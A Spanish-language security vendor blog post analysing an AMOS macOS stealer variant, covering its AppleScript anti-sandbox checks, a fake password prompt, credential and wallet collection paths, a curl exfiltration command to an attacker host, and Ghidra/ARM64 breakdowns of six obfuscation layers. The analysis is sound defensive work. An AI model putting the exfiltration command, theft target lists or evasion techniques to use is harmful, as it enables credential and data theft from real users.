Workplace
Potenciado por Microsoft 365 para espacios de trabajo inteligentes, seguros y flexibles, integrando a la perfección tecnologías de vanguardia y servicios de identidad (en ingles).
Contact
Security
Vigilancia en la nube con un galardonado servicio gestionado 24/7, respuesta ante incidentes y protección de vanguardia para su infraestructura (en ingles).
Empresa
Pionero en la Cloud: Su principal socio de Microsoft para soluciones integrales en la nube con un enfoque basado en Blueprint y experiencia en infraestructura como código (en ingles).
Contact

Anatomía de un AMOS Stealer desconocido: Del alerta a la inmunidad en horas

Una variante de AMOS stealer no documentada previamente comprometió un endpoint macOS. Sin hashes conocidos, sin datos de C2 en ninguna base de datos pública. Nuestro SOC desmanteló seis capas de ofuscación, extrajo todos los indicadores y distribuyó la protección a todos los clientes SOC en cuestión de horas, antes de que el sector hubiera visto siquiera la muestra.

Anatomía de un AMOS Stealer desconocido: Del alerta a la inmunidad en horas

Cuando se activa una alerta en nuestro SOC, el reloj empieza a correr. No solo para el cliente afectado, sino para cada cliente que protegemos. En el panorama actual de amenazas, el momento más peligroso para cualquier organización es la brecha de inteligencia: esa ventana de tiempo entre el despliegue de una nueva variante de malware y el momento en que el resto del mundo se entera de su existencia.

Para un equipo de seguridad independiente, esta brecha representa un período de vulnerabilidad extrema. En esencia, se está esperando una actualización del proveedor o un feed de firmas público que todavía no existe. Para nuestros clientes, esa brecha se cierra gracias a nuestra plataforma de Shared Threat Intelligence desarrollada internamente.

Este blogpost es el desglose técnico de cómo desmantelamos una variante de AMOS (Atomic macOS Stealer) no documentada hasta ese momento. Es la historia de cómo se pasa de un único endpoint comprometido al despliegue rápido de capacidades de detección y bloqueo en los entornos de los clientes.


El incidente: un escenario con IOC desconocido

La alerta llegó el 12 de marzo de 2026 a las 06:25, hora local. Un endpoint macOS había sido comprometido. Cuando nuestro SOC comenzó a analizar los artefactos, nos encontramos ante la situación que todo analista de amenazas teme: ningún hash de archivo conocido, ninguna dirección IP de C2 ni ninguna firma de comportamiento relevante existía en bases de datos públicas en el momento de la detección.

La arquitectura completa del ataque solo quedó clara durante el análisis en profundidad posterior. Descubrimos que la infección se basaba en un Universal Binary macOS de 15,7 MB (x86_64 y ARM64) depositado en /private/tmp/helper. Esta muestra no estaba disponible directamente en el sistema; nuestro equipo tuvo que reconstruir la cadena de infección y simular la solicitud de entrega original para recuperar manualmente el binario desde la infraestructura del atacante.


Stage 1: Comprobaciones de sandbox

Antes de que el propio stealer malicioso se ejecutara en la máquina, ya había ejecutado un payload de AppleScript. Todas las cadenas de texto, cada ruta de archivo, cada comando de shell, cada URL, estaban codificadas mediante tres funciones aritméticas personalizadas:

on ipbgcjzgqa(a, b)
    -- result[i] = chr(a[i] - b[i])
    
on kwcvvjininv(a, b)
    -- result[i] = chr(a[i] + b[i])
    
on xqylheckjx(a, b, offset)
    -- result[i] = chr(a[i] - b[i] - offset)

Ninguna de las cadenas aparece en texto plano en ningún lugar. Lo que a primera vista parecía arrays de enteros sin sentido se decodificó, una vez invertido el esquema de codificación, en un framework completo y totalmente operativo de robo y exfiltración de datos.

Decodificamos estáticamente todos los arrays del script. Los resultados fueron inequívocos:

Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"

La URL de descarga estaba deliberadamente diseñada para suplantar una actualización legítima de n8n workflow automation, una herramienta de uso habitual entre desarrolladores e ingenieros de DevOps. No es una elección aleatoria. Señala una campaña dirigida a usuarios técnicamente sofisticados, no a usuarios genéricos que puedan instalar software pirateado.

La comprobación anti-sandbox

Antes de que se produjera ninguna descarga, el script ejecutó una rutina dedicada de detección de VM y sandbox. También recuperamos del incidente un script anti-sandbox independiente:

set urgufr  to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"

Los resultados se comprobaban contra dos listas. La primera verificaba marcadores de virtualización en los datos de memoria:

"QEMU"   "VMware"   "KVM"

La segunda comprobaba los identificadores de hardware contra un conjunto de números de serie conocidos de máquinas de análisis:

"Z31FHXYQ0J"     -- known sandbox machine serial
"C07T508TG1J2"   -- known sandbox machine serial  
"C02TM2ZBHX87"   -- known sandbox machine serial
"Chip: Unknown"  -- emulation indicator
"Intel Core 2"   -- legacy/VM indicator

Si se encontraba alguna coincidencia: exit 100, terminación completa. En un MacBook Pro real con chip Apple Silicon, todas las comprobaciones pasan en silencio y la ejecución continúa. Se trata de una técnica de evasión de sandbox de nivel profesional que ya estaba en marcha antes de que se descargara un solo byte del binario.

Escalada de privilegios simple pero efectiva: el diálogo de contraseña falso

El script decodificado también contenía el texto utilizado para la escalada de privilegios mediante ingeniería social:

Title:   "Application wants to install helper"
Prompt:  "Required Application Helper. Please enter device
          password to continue."
Button:  "Continue"

Este diálogo se muestra mediante una llamada estándar de macOS display dialog con with hidden answer, visualmente indistinguible de un mensaje de autorización legítimo de macOS. La contraseña introducida se utilizaba para invocar login -pf <username>, elevando el proceso a root antes de que se ejecutara el binario.

Qué recopiló el script

Una vez ejecutado el binario, el osascript continuó su propio flujo de recopilación, apuntando a todas las categorías de datos sensibles del sistema. Decodificamos todas las rutas y objetivos de recopilación:

Datos del navegador (todos los navegadores Chromium + Safari):

/Login Data          /Cookies            /Web Data
/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/

macOS Keychain:

~/Library/Keychains/login.keychain-db  -- accessed directly via cat

Apple Notes

Contenido completo exportado como HTML con encabezado de recuento

Archivos locales

Escritorio y Documentos, hasta 30 MB, con los siguientes objetivos:

pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf
key  p12  pem  cert  pfx  sql  db  sqlite
json  xml  yaml  conf  env  csv

Carteras de criptomonedas

Una lista codificada de más de 200 IDs de extensiones de navegador dirigida a todas las carteras principales, incluyendo MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI y Exodus.

Tras la recopilación, todo se preparaba en un directorio temporal con nombre aleatorio y se enviaba:

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <uuid>" -H "BuildID: <hw_profile>" \
  -F "file=@/tmp/out.zip" laislivon[.]com/contact

La limpieza seguía de inmediato:

rm -r <staging_dir>
rm /tmp/out.zip

Stage 2: Ingeniería inversa del binario 'helper'

El binario helper es donde este análisis se vuelve profundo. Se trata de un ejecutable macOS de propósito específico, ofuscado de forma profesional y diseñado para ser tan difícil de analizar estáticamente como sea posible. Es la parte de esta investigación que requirió el mayor esfuerzo de ingeniería inversa.

Todo el análisis se realizó con Ghidra utilizando nuestro flujo de trabajo personalizado de análisis ARM64.

Propiedades del archivo

Propiedad Valor
Formato Mach-O Universal Binary
Arquitecturas x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)
Tamaño 15,7 MB
MD5 4599fdf2fa2099b30d8bbf76703dd634
SHA-1 3992edfb6f885ae5f09f3e69a2578048d6d5bb54
SHA-256 5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d

Empieza antes de main()

Lo primero que confirmamos en Ghidra fue que este binario no se comporta como un ejecutable normal. El punto de entrada real no es main(). Es una función registrada en __mod_init_func, un mecanismo de macOS que indica al enlazador dinámico (dyld) que ejecute funciones designadas automáticamente cuando se carga el binario, antes de que se ejecute cualquier código visible para el usuario.

La función de inicialización en 0x10009f384 es el verdadero punto de entrada del malware. Descompilamos la salida con Ghidra:

// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void) { int iVar1;

// Anti-sandbox delay: usleep(0x37e) = 894 microseconds iVar1 = _usleep(0x37e);

// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools (*(code *)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1); return; }

Hay dos aspectos inmediatamente destacables. En primer lugar, el usleep de 894 microsegundos al inicio, una señal de temporización anti-sandbox. En segundo lugar, y más relevante, la tabla de salto indirecto en 0x10009f43c. Se trata de un salto calculado donde la dirección de destino se computa en tiempo de ejecución a partir de una tabla de búsqueda. Las herramientas de análisis estático no pueden reconstruir el grafo de flujo de control desde aquí, y el propio Ghidra registra múltiples advertencias de "bloque inalcanzable" mientras intenta sin éxito trazar la ruta de ejecución. Esto es deliberado.

La tabla de salto controla una máquina de ejecución de 14 estados. Cada estado realiza un paso discreto del pipeline de descifrado y ejecución. El contador de estados se actualiza tras cada paso, y la máquina itera hasta que todos los estados han sido ejecutados.

El desensamblado ARM64 del despachador de estados

10009f3fc:  stp xzr,xzr,[sp, #0x48]
10009f41c:  mov w0,#0x37e
10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox
10009f424:  cmp w25,#0xd             ; state counter < 14?
10009f428:  b.hi 0x10009fd44         ; exit if done
10009f42c:  mov w8,w25               ; current state index
10009f430:  adr x9,0x10009f440       ; base of jump table
10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address
10009f43c:  br x9                    ; indirect branch, CFG broken here

Seis capas de ofuscación apiladas

El binario utiliza seis capas de ofuscación distintas, apiladas y encadenadas de modo que la salida de cada una alimenta la siguiente. Cada payload, cada cadena, cada constante interna está codificada. Nada con significado aparece en texto plano en ningún lugar del segmento __const. Lo que sigue es un desglose completo capa por capa, verificado directamente en Ghidra hasta las instrucciones ARM64 individuales. Aunque cada técnica empleada en este binario es conocida de forma aislada, su aplicación encadenada a través de múltiples etapas creó un flujo de ejecución altamente interdependiente que aumentó considerablemente la complejidad del análisis estático y dinámico.


Capa 1: codificación de tripletes en tiempo de compilación

Cada cadena del binario no se almacena como caracteres, sino como una secuencia de tripletes aritméticos de 12 bytes. Cada triplete (a, b, shift) codifica exactamente un carácter de salida. El esquema de codificación se aplica en tiempo de compilación, lo que significa que ninguna cadena existe como texto plano en el binario, ni siquiera de forma transitoria durante la carga.

Dos funciones de decodificación separadas se encargan de distintos tamaños de cadena. FUN_100087c08 en 0x100087c08 decodifica cadenas de 60 caracteres (720 bytes de datos de entrada desde DAT_1006292cc). FUN_10007ad80 en 0x10007ad80 decodifica cadenas de 56 caracteres (672 bytes desde DAT_10049708c). Ambas utilizan el mismo algoritmo.

// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1) { long *plVar1; void *pvVar2; long lVar3; uint *puVar4;

pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer lVar3 = 0; puVar4 = (uint *)((long)pvVar2 + 8); do { plVar1 = (long *)*param_1; if (-1 < *(char *)((long)param_1 + 0x17)) { plVar1 = param_1; } // THE DECODE FORMULA, one character per triplet:
// char = ((b * 3) XOR a) >> shift) - b *(char *)((long)plVar1 + lVar3) = (char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1; lVar3 = lVar3 + 1; puVar4 = puVar4 + 3; // advance 12 bytes — next triplet } while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2); return; }

Y el ensamblado ARM64 correspondiente, donde cada instrucción mapea directamente una operación de la fórmula:

100087c48:  add x9,x20,#0x8
100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11
100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
                                       ; (compiler avoids MUL instruction)
100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a
100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12
100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved
100087c60:  sub w10,w10,w11           ; subtract b — final decoded character
100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer
100087c78:  add x8,x8,#0x1
100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60
100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded

Un detalle que merece atención: la multiplicación b × 3 se implementa como add w12, w11, w11, LSL #1, un desplazamiento y suma que evita por completo una instrucción de multiplicación. Se trata de una optimización clásica del compilador que además hace el código más difícil de reconocer mediante coincidencia de patrones en bases de datos de firmas.

La fórmula de decodificación completa:

char = ASR( (b × 3) XOR a, shift ) − b

El ASR (desplazamiento aritmético a la derecha) es fundamental. Preserva el bit de signo. Si el resultado intermedio de (b×3) XOR a es negativo, como ocurre con frecuencia, un desplazamiento lógico produciría un resultado completamente distinto. Esto es intencional, y significa que reimplementar simplemente la fórmula con >> en un lenguaje de alto nivel producirá silenciosamente una salida incorrecta si no se gestiona correctamente la aritmética con signo.

La variante de 56 caracteres FUN_10007ad80 es estructuralmente idéntica, opera sobre DAT_10049708c con un límite de iteraciones de 0x38. Ambas funciones fueron confirmadas en vivo desde Ghidra durante este análisis.


Capa 2: codificación de cadenas hexadecimales

Los bytes brutos producidos por la Capa 1 son en sí mismos caracteres ASCII hexadecimales, no datos binarios. La salida de la decodificación de tripletes de la Capa 1 es una cadena de pares hexadecimales: 32694e5462.... Esto se confirma mediante la función de decodificación FUN_100000dc0 en 0x100000dc0, que implementa una decodificación hexadecimal usando una tabla de búsqueda en DAT_1007bb591.

La descompilación de Ghidra muestra una sentencia switch que mapea cada carácter hexadecimal (0x30-0x39, 0x41-0x46, 0x61-0x66) a su valor de nibble, ensamblando bytes de salida de dos en dos caracteres:

// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) { case 0x30: break; // '0' → 0x00 case 0x31: bVar9 = 0x10; break; // '1' → 0x10 case 0x32: bVar9 = 0x20; break; // '2' → 0x20 // ... '3' through '9' ... case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0 case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0 case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0 case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0 case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0 case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0 } // Second nibble from lookup table at DAT_1007bb591 *(byte *)((long)pppppppuVar3 + uVar8) = (&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;

El ensamblado ARM64 gestiona esto con una segunda tabla de salto calculado, implementando efectivamente una tabla de salto de 55 entradas para el switch:

100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table
100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68:  br x17                   ; jump — second computed branch in 24 bytes

Dos saltos calculados en una ventana de 24 bytes. Las herramientas de análisis estático tienen serias dificultades con este patrón porque ambos destinos son desconocidos en tiempo de análisis.

Una cadena hexadecimal de 137.208 caracteres se decodifica en 68.604 bytes. Estos 68.604 bytes alimentan a continuación la Capa 3.


Capa 3: alfabeto de nibbles personalizado de 16 símbolos

Los 68.604 bytes de salida de la Capa 2 utilizan únicamente 16 valores de byte únicos, extraídos de dos rangos ASCII no contiguos:

  • 0x20-0x2F: espacio, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /
  • 0x78-0x7F: x, y, z, {, |, }, ~, DEL

Esta es una elección deliberada. En un editor hexadecimal, estos bytes parecen espacios en blanco, puntuación y caracteres al final del rango ASCII, de modo que se camuflan como si fueran metadatos o relleno, no datos codificados. Un analista humano que haga un escaneo visual rápido de un volcado hexadecimal no marcará estos rangos de bytes como sospechosos. El análisis de entropía estándar también subestimará la entropía efectiva porque la distribución de bytes parece no aleatoria.

Cada byte de este alfabeto codifica un nibble del payload real. El mapeo alfabeto-nibble lo aplica la función de codificación y decodificación FUN_100000d60, que confirmamos en 0x100000d60. Encadena dos subfunciones: FUN_100000b50 construye un mapa indexado de los caracteres de la cadena de entrada, y FUN_100000c34 recorre este mapa consumiendo 6 bits por paso y acumulando bytes de salida de 8 bits:

// FUN_100000c34 @ 0x100000c34, nibble accumulator iVar5 = 0; do { local_52 = *(undefined1 *)puVar4; lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value if (lVar3 == 0) { // character not in alphabet, treat as raw FUN_1000a078c(param_3, &local_51); } else { iVar5 = iVar5 + 4; // accumulate 4 bits while (7 < iVar5) { std::string::push_back((char)param_1); // emit byte when 8+ bits ready iVar5 = iVar5 + -8; } } puVar4 = (undefined8 *)((long)puVar4 + 1); } while (puVar4 != puVar1);

Los 34.302 bytes que emergen de esta pasada son ASCII imprimible en un 99,7% de los casos; el payload en esta etapa parece, a una inspección superficial, un script de shell extenso o un blob de configuración.


Capa 4: ofuscación de cadenas en tiempo de compilación

Las cadenas cortas de uso interno están ofuscadas en tiempo de compilación empleando el mismo esquema de tripletes que la Capa 1. Estas cadenas se reconstruyen en tiempo de ejecución inmediatamente antes de su uso y nunca persisten en memoria: son consumidas por la siguiente operación y el buffer se libera a continuación. En ningún momento es visible una cadena decodificada en las secciones de datos estáticos del binario.

La función de hash de cadenas FUN_100000730 proporciona una capa de ofuscación secundaria para las comparaciones de cadenas. En lugar de comparar cadenas directamente, lo que dejaría texto plano en memoria susceptible de reconocimiento por patrones, el binario calcula y compara hashes enteros:

// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1) { int iVar4 = 0x19a8; // FNV offset basis (modified) // ... for (; uVar3 != 0; uVar3 = uVar3 - 1) { iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply pcVar1 = pcVar1 + 1; } return iVar4; }

La implementación ARM64 reemplaza la multiplicación con un multiply-add fusionado:

100000744:  mov w0,#0x19a8            ; FNV basis
100000750:  mov w10,#0xe41d
100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment
10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char
100000760:  subs x9,x9,#0x1
100000764:  b.ne 0x100000758

Esto significa que incluso comparar dos cadenas dentro del binario nunca produce un salto que un depurador pueda interceptar limpiamente a nivel de cadena, sino solo a nivel de hash.


Capa 5: cifrado de flujo personalizado con doble instancia

Aquí es donde la arquitectura de ofuscación se vuelve genuinamente inusual. No hay una sino dos instancias de cifrado separadas en el binario, cada una con una tabla de búsqueda codificada distinta y un contador de inicio diferente. Ambas utilizan la misma estructura de algoritmo, pero producen alfabetos de salida diferentes para distintas partes del pipeline del payload.

Instancia AFUN_10007ab34 en 0x10007ab34:

// Instance A, start counter 0x4c, table @ 0x100496f8b uVar6 = 0x4c; do { bVar2 = *(byte *)((long)local_e0 + ((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output) uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Instancia B, FUN_10007a7e0 en 0x10007a7e0:

// Instance B, start counter 0x9f, different table @ 0x100496e0a region uVar6 = 0x9f; do { bVar2 = *(byte *)((long)local_c0 + ((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

El algoritmo es estructuralmente idéntico, pero el contador de inicio difiere (0x4c frente a 0x9f) y las tablas de búsqueda están en diferentes direcciones de memoria. La Instancia A se invoca desde el estado 11 de la máquina de estados para producir el alfabeto de codificación del primer path de payload. La Instancia B se invoca desde el estado 6 para producir el alfabeto de decodificación del payload del script de shell extenso.

Para ser precisos sobre lo que es este cifrado: es un cifrado de sustitución con índice dependiente del contador. Cada byte de salida es una búsqueda en tabla donde el índice es (input_byte XOR counter) & 0xFF. El contador se actualiza como counter = (i + (counter XOR output)) & 0xFF tras cada byte, lo que significa que cada byte de salida retroalimenta la determinación del siguiente índice de búsqueda. Esto crea una cadena de dependencia a lo largo de toda la secuencia de salida: no es posible descifrar el byte N sin haber descifrado correctamente los bytes del 0 al N-1. Esta propiedad hace significativamente más difícil el descifrado parcial o el análisis de fallos.

Ninguna instancia es RC4 estándar. No hay una fase de inicialización del S-Box ni una operación de intercambio del S-Box. Las tablas de búsqueda son constantes estáticas precomputadas e integradas en el binario en tiempo de compilación.


Capa 6: XOR en tiempo de ejecución con clave dependiente del código de salida

La capa final y analíticamente más difícil de superar aplica una transformación XOR en memoria al payload de la Etapa 2. La clave XOR no está codificada en el binario. Se computa en tiempo de ejecución a partir del código de salida de la primera ejecución del payload de shell, lo que significa que no puede determinarse mediante ningún tipo de análisis estático. El binario debe ejecutarse realmente, el primer script de shell debe ejecutarse hasta completarse, y solo entonces existe la clave.

La secuencia de derivación de clave en el despachador de la máquina de estados ARM64:

; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status
10009f83c:  mov w9,#0x7f0             ; multiplier constant
10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter
10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24

El bucle XOR que procesa el payload de la Etapa 2:

; In-place XOR, every byte of the payload is XORed with w24
10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte
10009fc48:  eor w10,w10,w24          ; XOR with key
10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place

La clave es un valor de 16 bits derivado del byte de estado de salida del primer payload de shell, multiplicado por 0x7f0 y sumado al valor actual del registro contador base de la máquina de estados w26. La constante multiplicativa 0x7f0 implica que incluso una diferencia de un solo bit en el código de salida produce una clave completamente diferente: no existe ninguna continuidad explotable entre valores de clave adyacentes.

Sin ejecutar el binario en un entorno controlado y capturar el código de salida exacto del primer payload de shell, el payload de la Etapa 2 es permanentemente opaco al análisis estático. Esta fue la barrera más difícil que encontramos en todo el análisis.


Ejecución de shell: pipes en lugar de argumentos, y XOR SIMD

La función de ejecución de shell FUN_10000091c en 0x10000091c es la pieza arquitectónicamente más interesante del binario. Es donde todo converge: el payload decodificado, el nombre del comando ofuscado y el diseño antiforense deliberado. Cada decisión de diseño individual en esta función es intencional y sirve a un propósito específico de evasión.

Paso 1: el nombre del comando nunca está en texto plano

La cadena /bin/zsh no existe en ningún lugar del binario. Está almacenada en la sección __cstring en 0x1007bb5c8 como los bytes ofuscados \x01LG@\x01T]F. La decodificación ocurre en tiempo de ejecución mediante una única operación XOR, confirmada directamente en el ensamblado ARM64:

; FUN_10000091c — command name decode via SIMD XOR
100000960:  adrp x8,0x1007bb000
100000964:  add x8,x8,#0x5c8          ; x8 → "\x01LG@\x01T]F" in __cstring
100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64
10000096c:  str x8,[sp, #0x20]
100000970:  strb wzr,[sp, #0x28]      ; null terminator

100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0
100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1
10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously
100000980:  str d0,[sp, #0x20]        ; store decoded "/bin/zsh"

100000988:  mov w8,#0x732d            ; 0x732d = "-s" (little-endian)
10000098c:  strh w8,[sp, #0x4]        ; store argument string

La clave XOR es 0x2e, el valor ASCII de . (punto). La decodificación se realiza en un único eor v0.8B, v0.8B, v1.8B, una instrucción vectorial ARM64 NEON que aplica XOR a los 8 bytes de la cadena simultáneamente. Usar una instrucción SIMD para una decodificación simple de 8 bytes es inusual y cumple dos propósitos: es más rápido que un bucle byte a byte, y genera un patrón de instrucciones fundamentalmente diferente que las herramientas de coincidencia de firmas entrenadas en bucles de decodificación escalares no detectarán.

La verificación es trivial: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, lo que produce /bin en los primeros cuatro bytes.

Paso 2: la arquitectura de pipes

Tras decodificar el nombre del comando, la función crea un pipe del sistema operativo y hace un fork:

100000990:  bl 0x1000a0f6c    ; _fork()
100000994:  mov x20,x0        ; save PID
100000998:  cbz w0,0x100000b00 ; if child: jump to exec path

En el proceso hijo:

; Child process path
100000b0c:  mov w1,#0x0
100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c:  add x0,sp,#0x20   ; argv[0] = "/bin/zsh"
100000b30:  add x1,sp,#0x8    ; argv array
100000b34:  bl 0x1000a0f60    ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])

El proceso hijo reemplaza su entrada estándar con el extremo de lectura del pipe y luego ejecuta /bin/zsh -s. El shell en modo -s lee comandos desde stdin. Desde el punto de vista de la monitorización de procesos, este proceso aparece como /bin/zsh -s sin argumentos, lo que es indistinguible de una sesión de shell interactiva legítima.

Paso 3: escrituras en fragmentos de tamaño variable

El proceso padre escribe el payload descifrado en el extremo de escritura del pipe en fragmentos de tamaño deliberadamente variable:

; Parent: compute chunk size then write
1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo
1000009d8:  lsr x8,x8,#0x7
1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0
1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64
                                    ; range: 64 to 255 bytes per write
1000009e4:  cmp x8,x23             ; clamp to remaining length
1000009e8:  csel x2,x8,x23,cc

1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd
1000009f0:  mov x1,x21             ; payload pointer
1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)

100000a04:  mov w0,#0x1
100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks
100000a0c:  add x21,x21,x22        ; advance pointer
100000a10:  sub x23,x23,x22        ; reduce remaining count
100000a14:  cbnz x23,0x1000009d4   ; loop until done

La fórmula de tamaño de fragmento (remaining_length % 192) + 64 produce valores de entre 64 y 255 bytes por llamada de escritura, variando en función de la longitud restante del payload. Este enfoque de fragmentación variable significa que el patrón de escritura, visible en herramientas de rastreo de eventos del kernel como ktrace o dtrace, no produce una firma de tamaño fijo reconocible. Cada ejecución del mismo payload produce una secuencia diferente de tamaños de llamada write().

El usleep de 1 microsegundo entre fragmentos cumple un propósito secundario: cede la CPU entre escrituras, manteniendo el uso de CPU del proceso constante y evitando un pico repentino que una regla EDR de comportamiento podría marcar como I/O en ráfaga anómala.

Paso 4: borrado inmediato de memoria

; After all chunks written and pipe closed:
100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type
100000a24:  sxtb w9,w8
100000a28:  ldp x10,x11,[x19]
100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer
100000a34:  csel x1,x11,x8,lt      ; length of buffer
100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)

La llamada _bzero() pone a cero el buffer completo del payload descifrado inmediatamente después de que el último byte ha sido escrito en el pipe. No existe ningún momento, ni siquiera un microsegundo, en que el payload descifrado permanezca en memoria una vez completada la ejecución. Un volcado de memoria en vivo tomado en el instante posterior a que esta función retorne solo encontrará ceros donde estaba el payload.

Esta técnica se denomina zero-after-use y es la misma que utilizan las bibliotecas criptográficas de alta seguridad para evitar que el material de clave secreta persista en memoria. Verla en malware de uso general es inusual e indica un desarrollador con formación en ingeniería de seguridad.

La secuencia de ejecución completa:

__cstring:  "\x01LG@\x01T]F"   (7 bytes, obfuscated)
    ↓  SIMD XOR with 0x2e (8-wide vector)
stack:      "/bin/zsh\0"         (decoded in-place, stack only)
    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]
    ↓  _fork()
    │
    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end
    │          _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
    │          → /bin/zsh reads commands from stdin (= pipe)
    │
    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)
                     _usleep(1)
               _close(local_5c)    close write end → EOF to shell
               _bzero(payload, len) ← WIPE IMMEDIATELY
               _waitpid(child, ...)

La tabla de importaciones como arma

La tabla de importaciones completa de este binario es:

// C runtime / memory
_memcpy       _memmove      _memset       _bzero

// Process execution
_fork         _execvp       _execl        __exit

// IPC / pipes
_pipe         _dup2         _close        _write

// Synchronisation
_waitpid      _usleep

// Stack protection
___stack_chk_fail    ___stack_chk_guard

// C++ runtime
operator.new    operator.delete    __Unwind_Resume
___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch
___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0
terminate    logic_error    bad_array_new_length    __next_prime

// STL containers
append    reserve    push_back    operator=

// Dynamic linking
dyld_stub_binder

El recuento total de importaciones es de 27 símbolos. Lo que falta es tan significativo como lo que está presente.

Ausente: red

socket      connect     bind        listen
accept      send        recv        sendto
recvfrom    getaddrinfo gethostbyname

Ausente: sistema de archivos

open        read        fopen       fread
fwrite      fclose      stat        unlink
mkdir       rename      opendir     readdir

Ausente: introspección de procesos

getpid      getuid      getenv      sysctl

Ausente: criptografía

CCCrypt     SecItemAdd  SecKeychainFind

